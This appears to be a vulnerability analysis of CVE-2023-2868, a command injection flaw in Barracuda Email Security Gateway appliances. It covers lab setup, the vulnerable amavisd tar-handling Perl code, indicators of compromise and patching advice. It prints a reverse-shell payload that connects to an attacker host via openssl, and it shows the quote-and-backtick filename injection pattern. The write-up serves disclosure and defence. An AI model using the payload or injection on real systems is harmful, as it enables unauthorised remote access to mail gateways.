Description

On May 30, 2023, Barracuda Networks published an advisory for CVE-2023-2868, an easily exploitable remote command injection vulnerability affecting several versions of Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists in a module that screens attachments of incoming emails and is triggered by crafted .tar files. Successful exploitation allows remote, unauthenticated attackers to execute code on appliances in the context of a privileged user. CVE-2023-2868 carries a CVSS score of 9.8. According to the vendor advisory, CVE-2023-2868 has been exploited in the wild since October 2022.

Affected systems include Barracuda Email Security Gateway appliances with firmware versions 5.1.3.001 – 9.2.0.006 (appliance form factor only). We tested against a Barracuda ESG 300 firmware version 8.0.1.001 to confirm exploitability. Tests against virtual machine instances were not successful.

Technical analysis

Exploiting this vulnerability proved to be simple, but finding a valid test target served to be more challenging. Our proof of concept (PoC) started off with the hint from Mandiant’s blog mentioning that filenames within TAR files as the attack vector. With that in mind, we developed our PoC with code that creates tarfiles containing user-controlled filenames and data.

Setup – Virtual Appliance

The vendor advisory mentions “appliance form factor only” for affected systems, but that was not something we immediately had available. Trials for Virtual Instances are available so that is where we started to get our basic PoC going.

Starting up a virtual instance drops users into a locked down console where we can configure various network settings. At this point it would be ideal to get shell access to have insight into how the device works, but no avenues were available. We explored GTFOBins against some of the networking utility tools present in the console, but that was a dead end as well. We could, however, point the device’s DNS to an instance of dnschef to observe and manipulate DNS traffic.

Outside of the console, the device runs an administrative web service on port 8000 where we can log in as admin with default credentials to continue setup. Setting a domain with users to ensure email is correctly sent appears to be important for exploit reliability. We pointed upstream SMTP to a dockerized instance of mailhog for easy setup here.

With all these pieces configured properly, we then expanded our PoC to send mail via SMTP to the device, which then sends it to our mailhog instance. We also performed simple fuzzing with various commands and escape character sequences to see what payloads would work, but inevitably we had no success with a virtual appliance.

Physical Appliances

The initial vendor advisory recommended immediately decommissioning and replacing all appliances as means of response. With this in mind, we figured second hand appliances would be on sale. Within little over a week we obtained a second hand Barracuda ESG 300 with firmware version 8.0.1.001. Setup for the physical appliance is nearly identical to the virtual appliance, so we repeated the steps from earlier to get a lab environment going.

Using our PoC and some simple fuzzing, we immediately confirmed successful command execution against the physical appliance with ping and dig commands. Using dnschef and running wireshark against all traffic, we immediately confirmed these commands worked! To gain shell access, we used the following payload, the same that the Mandiant advisory mentioned:

setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect #{LHOST}:#{LPORT} >/tmp/p 2>/dev/null;rm /tmp/p"

Post-Shell

Shell access to the device gives us permissions of the scana user. Some limited sudo functionality gives privileged read and write access as this user for additional escalation.

Searching for clues as to which process is being compromised here, we found references to amavisd in the filesystem. amavisd is part of amavisd-new, an interface between mailers and content checkers such as virus scanners (and the source of several Zimbra vulnerabilities last year, including the exploits for CVE-2022-30333 and CVE-2022-41352. All this being relevant to processing .tar files, we found the amavisd Perl file and discovered the following snippet:

# untar any tar archives with '/bin/tar'
# extract each file individually
# BNSF-19979 Switched to /bin/tar instead of Archive::Tar
sub do_tar($$) {
    my($part,$tempdir) = @_;
    my $tarexec = '/bin/tar';

    unless (-x $tarexec) {
        chomp($@); do_log(4, "Tar unavailable! Could not extract $part");
	return 0;
    }

    do_log(4,"Untarring $part");
    my @files = split(/\n/,qx{$tarexec -tf $tempdir/parts/$part});
    foreach my $f (@files) {
        next  if ($f =~ /\/$/); #ignore directories
        my $content = qx{$tarexec -O -xf $tempdir/parts/$part '$f'};

Here we can control the $f value with filenames, which get processed in the context of the Perl qx{} used to execute system commands. We can easily string escape with a series of single quotes and backticks with the following for command execution:

‘`COMMAND`’

Digging further into the amavisd on the appliance, the do_tar function appears to be modified as seen in the comments mentioning BNSF-19979. Comparing to available versions of amavisd-new, the do_tar function has been commented out and does not contain the vulnerable qx{} call:

# DROPED SUPPORT for Archive::Tar; main drawback of this module is: it either
# loads an entire tar into memory (horrors!), or when using extract_archive()
# it does not relativize absolute paths (which makes it possible to store
# members in any directory writable by uid), and does not provide a way to
# capture contents of members with the same name. Use pax program instead!
#
#use Archive::Tar;
#sub do_tar($$) {
# my($part, $tempdir) = @_;
# snmp_count('OpsDecByArTar');
# # Work around bug in Archive-Tar
# my $tar = eval { Archive::Tar->new($part->full_name) };
# if (!defined($tar)) {
#   chomp $@;
#   do_log(4, "Faulty archive %s: %s", $part->full_name, $@);
#   die $@  if $@ =~ /^timed out\b/;  # resignal timeout
#   return 0;
# }
# do_log(4,"Untarring %s", $part->base_name);

It is not obvious which version of amavisd is used here. Others using this library will not be vulnerable to the same issue if using the latest versions.

IOCs

Guidance from our blog to keep a lookout for network indicators is the best start for observing behavior. .tar files with any contained filenames including a single quote character, backtick, then system commands are potentially problematic.

Observation of the sana user and any child processes from amavisd daemon could be of interest for those with shell access to the appliance.

Guidance

Barracuda Email Security Gateway customers with physical appliances should update to the latest firmware immediately. See more in Barracuda’s advisory.

References

• Vendor advisory
  
• Rapid7 blog
  
• Mandiant Blog